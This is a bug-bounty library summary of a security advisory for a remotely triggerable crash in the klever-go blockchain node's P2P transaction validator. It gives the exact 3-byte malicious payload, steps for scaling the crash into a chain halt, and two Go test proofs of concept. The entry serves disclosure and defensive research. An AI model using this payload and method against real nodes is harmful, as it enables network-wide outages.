# Klever-Go KVM: Unauthenticated remote node crash (nil-pointer DoS) in klever-go P2P transaction interceptor (txVersionChecker nil RawData) - potential chain halt

Klever-Go's txVersionChecker dereferences tx.RawData.Version without a nil check; a 3-byte protobuf transaction with omitted RawData panics the P2P validator and crashes the node.

- Payout: Research
- Severity: high
- Program: Klever-Go
- Found by: ch4r0utf8
- Disclosed: 2026-06-05
- CVE: CVE-2026-52878
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-rm5c-5x2p-48wr
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-rm5c-5x2p-48wr
- Tags: area:web3 domain:network domain:web3 impact:dos impact:mass-exploit kind:research platform:ghsa sev:high tech:go technique:chained technique:source-review vuln:dos

**Target:** libp2p pubsub transactions topic validator (klever-go node)
**Root cause:** CheckTxVersion dereferences tx.RawData.Version with no nil guard; a protobuf Transaction with omitted RawData decodes to RawData==nil. The libp2p pubsubCallback and interceptor chain install no recover(), so the panic kills the process.
**Steps:**
1. Clone klever-go at affected version (1.7.14-1.7.17).
2. Craft a protobuf Transaction with RawData omitted (plus throwaway Signature); production marshalizer encodes it to 3 bytes `12 01 78` and it round-trips to RawData==nil.
3. Wrap in a `batch.Batch` and publish to the `transactions` gossip topic from a self-signed libp2p peer.
4. Node's pubsubCallback -> MultiDataInterceptor.ProcessReceivedMessage -> CheckValidity -> integrity -> CheckTxVersion panics at txVersionChecker.go:22, crashing the process.
5. Repeat against >1/3 of BLS validators to halt block production.
**How found:** Code review of the synchronous P2P validation path: noticed CheckTxVersion is the first statement in integrity() and dereferences tx.RawData.Version before any nil check, and that the pubsub callback has no recover(). Confirmed the REST path is protected by gin Recovery but the P2P interceptor is not.
**Exploitation:** Attacker runs an ordinary libp2p peer, self-signs gossip messages with its own peer key (no validator key/funds needed), and delivers the 3-byte payload directly to each target node since gossipsub validates before relaying. Each message deterministically crashes the victim; with systemd auto-restart, resending sustains outage. Directed at enough validators, consensus halts.
**Escalation:** Single-node crash scaled to chain halt by targeting >1/3 of the BLS validator set; auto-restart defeated by repeated delivery.
**Insight:** On Go P2P nodes, trace the gossip topic-validator callback to its first field dereference: protobuf sub-messages omitted on the wire decode to nil pointers, and any recover()-less synchronous validation frame turns a 3-byte message into a full process crash. Check whether REST/HTTP paths have Recovery middleware while the P2P path does not.

## Proof of concept (copied exactly from the original report)

**Go test PoC crashing MultiDataInterceptor with nil RawData**

```
func TestPoC_NilRawData_MultiDataInterceptor(t *testing.T) {
	protoMarsh := &mock.ProtoMarshalizerMock{}

	// Wrap the single malicious tx in a Batch, exactly like a bulk-tx gossip message.
	b := &batch.Batch{Data: [][]byte{buildMaliciousTxBytes(t)}}
	batchBytes, err := protoMarsh.Marshal(b)
	if err != nil {
		t.Fatalf("marshal batch: %v", err)
	}

	th, _ := throttler.NewNumGoRoutinesThrottler(5)
	mdi, err := interceptors.NewMultiDataInterceptor(interceptors.ArgMultiDataInterceptor{
		Topic:            "transactions",
		Marshalizer:      protoMarsh,
		DataFactory:      pocTxFactory{},
		Processor:        &mock.InterceptorProcessorStub{},
		Throttler:        th,
		AntifloodHandler: &mock.P2PAntifloodHandlerStub{},
		WhiteListRequest: &mock.WhiteListHandlerStub{},
		CurrentPeerID:    core.PeerID("self"),
	})
	if err != nil {
		t.Fatalf("build interceptor: %v", err)
	}

	msg := &mock.P2PMessageMock{
		DataField:  batchBytes,
		TopicField: "transactions",
		PeerField:  core.PeerID("attacker"),
	}

	// In production this is called by the libp2p pubsub callback, which has no recover().
	// The nil-pointer panic therefore propagates and crashes the node process.
	_ = mdi.ProcessReceivedMessage(msg, core.PeerID("attacker"))

	// Only reached if the bug is fixed (CheckTxVersion guards a nil RawData).
	t.Log("no panic: node survived -> NOT vulnerable")
}
```

**SingleDataInterceptor PoC test**

```
func TestPoC_NilRawData_SingleDataInterceptor(t *testing.T) {
	th, _ := throttler.NewNumGoRoutinesThrottler(5)
	sdi, err := interceptors.NewSingleDataInterceptor(interceptors.ArgSingleDataInterceptor{
		Topic:            "transactions",
		DataFactory:      pocTxFactory{},
		Processor:        &mock.InterceptorProcessorStub{},
		Throttler:        th,
		AntifloodHandler: &mock.P2PAntifloodHandlerStub{},
		WhiteListRequest: &mock.WhiteListHandlerStub{},
		CurrentPeerID:    core.PeerID("self"),
	})
	if err != nil {
		t.Fatalf("build interceptor: %v", err)
	}

	msg := &mock.P2PMessageMock{
		DataField:  buildMaliciousTxBytes(t),
		TopicField: "transactions",
		PeerField:  core.PeerID("attacker"),
	}

	_ = sdi.ProcessReceivedMessage(msg, core.PeerID("attacker"))
	t.Log("no panic: node survived -> NOT vulnerable")
}
```

